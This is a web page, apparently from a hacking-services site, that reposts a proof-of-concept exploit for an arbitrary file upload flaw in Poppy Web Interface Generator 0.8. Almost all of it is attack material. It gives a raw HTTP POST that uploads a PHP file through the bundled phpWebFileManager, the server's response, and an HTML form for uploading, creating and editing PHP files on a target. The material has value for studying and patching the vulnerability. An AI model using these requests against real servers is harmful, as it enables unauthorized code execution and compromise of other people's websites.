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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Poppy Web Interface Generator 0.8 - Arbitrary File Upload
# Dork: N/A
# Date: 2018-11-04
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://poppy.dc-development.de/
# Software Link: https://master.dl.sourceforge.net/project/poppy-beta-rc/poppy_0.8_beta_rc.zip
# Version: 0.8
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/phpWebFileManager-0.7/index.php
# 
POST /[PATH]/phpWebFileManager-0.7/index.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: multipart/form-data; boundary=
---------------------------497318546845924055941951022
Content-Length: 732
-----------------------------497318546845924055941951022
Content-Disposition: form-data; name="fm_filename"
-----------------------------497318546845924055941951022
Content-Disposition: form-data; name="fm_dir"
-----------------------------497318546845924055941951022
Content-Disposition: form-data; name="fm_action"
upload_file
-----------------------------497318546845924055941951022
Content-Disposition: form-data; name="fm_userfile[0]"; filename="phpinfo.php"
Content-Type: application/force-download
<?php
phpinfo();
?>
-----------------------------497318546845924055941951022
Content-Disposition: form-data; name="fm_submit"
File upload
-----------------------------497318546845924055941951022--
HTTP/1.1 200 OK
Date: Sun, 04 Nov 2018 12:10:16 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

# POC: 
# 2)
# http://localhost/[PATH]/poppy_app/public/[FILE]
# 
<html>
<body>

#File Upload:
<form enctype="multipart/form-data" method="post" action="http://localhost/[PATH]/phpWebFileManager-0.7/index.php">
<input value="" name="fm_filename" type="hidden">
<input value="" name="fm_dir" type="hidden">
<input value="upload_file" name="fm_action" type="hidden">
<input value="" name="fm_userfile[0]" type="file">
<input name="fm_submit" value="File upload" type="submit">
</form>

#Create File:
<form method="post" action="http://localhost/[PATH]/phpWebFileManager-0.7/index.php">
<input value="" name="fm_filename" type="hidden">
<input value="" name="fm_dir" type="hidden">
<input value="create_file" name="fm_action" type="hidden">
<input value="test.php" name="fm_new_filename" type="text">
<input name="fm_submit" value="Create file" type="submit">
</form>

#File Edit:
<form method="post" action="http://localhost/[PATH]/phpWebFileManager-0.7/index.php">
<input value="test.php" name="fm_filename" type="hidden">
<input value="" name="fm_dir" type="hidden">
<input value="save_file" name="fm_action" type="hidden">
<textarea id="code" name="fm_file_data" rows="40" cols="140"></textarea>
<input name="fm_submit" value="Save" type="submit">
</form>

</body>
</html>